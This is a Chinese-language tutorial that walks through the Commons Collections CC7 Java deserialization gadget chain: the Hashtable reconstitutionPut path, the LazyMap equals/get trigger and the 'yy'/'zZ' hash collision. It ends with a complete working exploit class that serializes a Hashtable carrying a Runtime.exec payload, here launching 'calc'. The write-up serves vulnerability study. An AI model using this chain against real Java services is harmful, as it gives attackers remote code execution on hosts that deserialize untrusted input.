Java反序列化CC7链
总览

分析
也是在CC1基础上修改了前半段,和CC6有点相似
CC6后半部分使用的是HashSet,
CC7后半部分使用的是HashTable
Hashtable
跟进一下HashTable的readObject方法,看到最后用了reconstitutionPut方法

跟进看一下,reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中。
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。

AbstractMapDecorator
这一步操作e.key.equals()调用了LazyMap的equals方法,但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。

通过父类AbstractMapDecorator的equals方法我们可以它执行了map.equals,这里我们的map由于我们利用链LazyMap传入的是HashMap所以会跳到HashMap寻找equals方法,而HashMap是没有equals方法的,所以我们跟到它的父类AbstractMap。

这里首先先做了三个判断
- 判断是否为同一对象
- 判断对象的运行类型
- 判断Map中元素的个数
当都不满足则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容,虽然对象o向上转型成Map类型,但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMap的get方法。
注意点
Hashtable.reconstitutionPut()哈希碰撞问题
我们是通过hashCode()去获取hash的,我们跟到这个方法。这里我们的key为LazyMap,而LazyMap没有hashcode()方法,所以我们跟到了父类AbstractMapDecorator.hashcode()。此时的map是我们LazyMap传入的HashMap,而HashMap是没有hashcode()的,所以我们跟到它的父类AbstractMap.hashcode()
下个断点调试一下,发现Node类调用了Objects.hashcode(),我们继续跟进。

Node类调用了Objects类的hashCode静态方法计算key和value的hash值,然后再进行异或运算得到一个新的hash值。

在这里我们就看到了它的计算规则,通过字符ascii码值进行计算。
这里yso链子里面给的是yy和zZ,其实我们拿计算器是看hash值也确实是一样的。
AbstractMap.equals()个数问题
反序列化 Hashtable 时,Hashtable 会重新对 key 进行 hash() 计算;LazyMap 的 hashCode() 会导致访问内部 map,从而触发 Transformer。
但如果两个 LazyMap 在构造时内部结构不满足触发条件,反序列化时 不会调到 LazyMap 的 get() 或 put() ,就无法触发链。
所以最后要remove(“yy”)
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.AbstractMap; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Test { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap();
Map lazymap1 = LazyMap.decorate(hashMap1, chainedTransformer); lazymap1.put("yy", 1); Map lazymap2 = LazyMap.decorate(hashMap2, chainedTransformer); lazymap2.put("zZ", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazymap1,1); hashtable.put(lazymap2,1);
Class c = chainedTransformer.getClass(); Field iTransformers = c.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer,transformers);
lazymap2.remove("yy");
serialize(hashtable); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
|
